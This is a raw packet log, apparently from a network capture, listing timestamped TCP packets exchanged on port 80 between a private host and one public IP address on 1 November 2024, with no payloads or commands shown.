Nov 1, 2024 00:38:20.455733061 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455744982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455758095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455760956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455775976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455785990 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455790043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455813885 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455815077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455832005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455846071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455853939 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455864906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455878019 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455893040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455898046 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455908060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455909967 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455924034 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455939054 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455945969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455954075 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455965042 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455979109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.455993891 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.455995083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456010103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456012964 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456026077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456032991 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456042051 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456057072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456069946 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456073999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456089020 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456094980 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456104994 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456120014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456134081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456135035 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456149101 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456160069 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456163883 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456180096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456185102 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456195116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456208944 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456223965 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456228971 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456238985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456253052 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.456255913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.456274986 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.498856068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498886108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498902082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498915911 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.498917103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498934031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498950958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498956919 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.498965979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498980999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.498994112 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.498996973 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499002934 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.499012947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499030113 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499033928 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.499085903 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.499371052 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499387026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499402046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499417067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499429941 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.499434948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499453068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.499458075 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.499483109 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566101074 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566134930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566150904 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566174030 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566190958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566194057 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566207886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566215992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566226006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566241026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566248894 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566255093 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566274881 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566277027 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566298008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566314936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566317081 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566330910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566346884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566359043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566426992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566453934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566471100 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566485882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566539049 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566745043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566760063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566775084 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566788912 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566814899 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.566948891 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566963911 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566977978 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.566993952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567009926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567012072 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567025900 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567034006 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567044020 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567059040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567063093 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567096949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567127943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567142963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567157030 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567177057 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567408085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567423105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567439079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567456961 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567466021 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567471027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567487001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567492962 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567504883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567547083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567562103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567576885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567579985 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567593098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567608118 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567630053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.567631006 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.567653894 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568152905 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568166971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568181992 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568203926 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568222046 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568285942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568300962 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568320036 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568341017 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568418980 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568459988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568486929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568500996 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568536043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568542957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568558931 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568572998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568595886 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568815947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568869114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568871021 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568882942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568906069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568919897 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.568919897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568943977 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.568964005 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.617932081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.617959023 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.617979050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.617985964 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618019104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618026018 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618036032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618051052 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618066072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618078947 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618103027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618105888 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618119955 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618135929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618151903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618156910 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618168116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618225098 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618331909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618349075 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618385077 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618403912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618418932 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618434906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618448973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618451118 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618470907 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.618535995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.618578911 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.619158983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.667351961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.685044050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685059071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685081005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685096025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685098886 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.685112000 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685129881 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685159922 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.685180902 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.685209990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685223103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685237885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685267925 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.685278893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685295105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685309887 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.685340881 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.685359955 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.806734085 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.813183069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.813209057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.813225985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.813242912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.813266039 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.813302040 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.817904949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824393034 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824425936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824443102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824459076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824466944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824476004 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824497938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824512959 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824515104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824532032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824541092 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824548960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824564934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824572086 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824580908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824598074 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824609041 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824614048 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824629068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824630022 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824645042 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824660063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824666977 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824676037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824691057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824706078 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824712992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824722052 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824738026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824743986 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824762106 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824868917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824883938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824898005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824914932 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824930906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824939013 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824945927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824949980 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824963093 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824970007 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.824979067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.824994087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825000048 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825023890 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825037956 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825040102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825056076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825071096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825084925 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825086117 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825112104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825123072 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825126886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825143099 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825150967 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825159073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825181961 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825191975 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825198889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825216055 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825222015 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825350046 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825676918 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825694084 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825712919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825737000 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825757027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825773001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825788021 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825795889 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.825804949 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.825822115 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826036930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826054096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826069117 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826086998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826095104 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826105118 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826121092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826121092 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826144934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826148033 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826160908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826176882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826189041 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826200962 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826214075 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826215982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826234102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826250076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826258898 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826267004 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826282978 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826292992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826298952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826316118 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826323032 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826333046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826348066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826363087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826386929 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826386929 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.826394081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.826430082 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.827049017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.827066898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.827081919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.827096939 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.827111959 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.827114105 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:20.827135086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:20.827136993 CET	49735	80	192.168.2.6	185.215.113.16
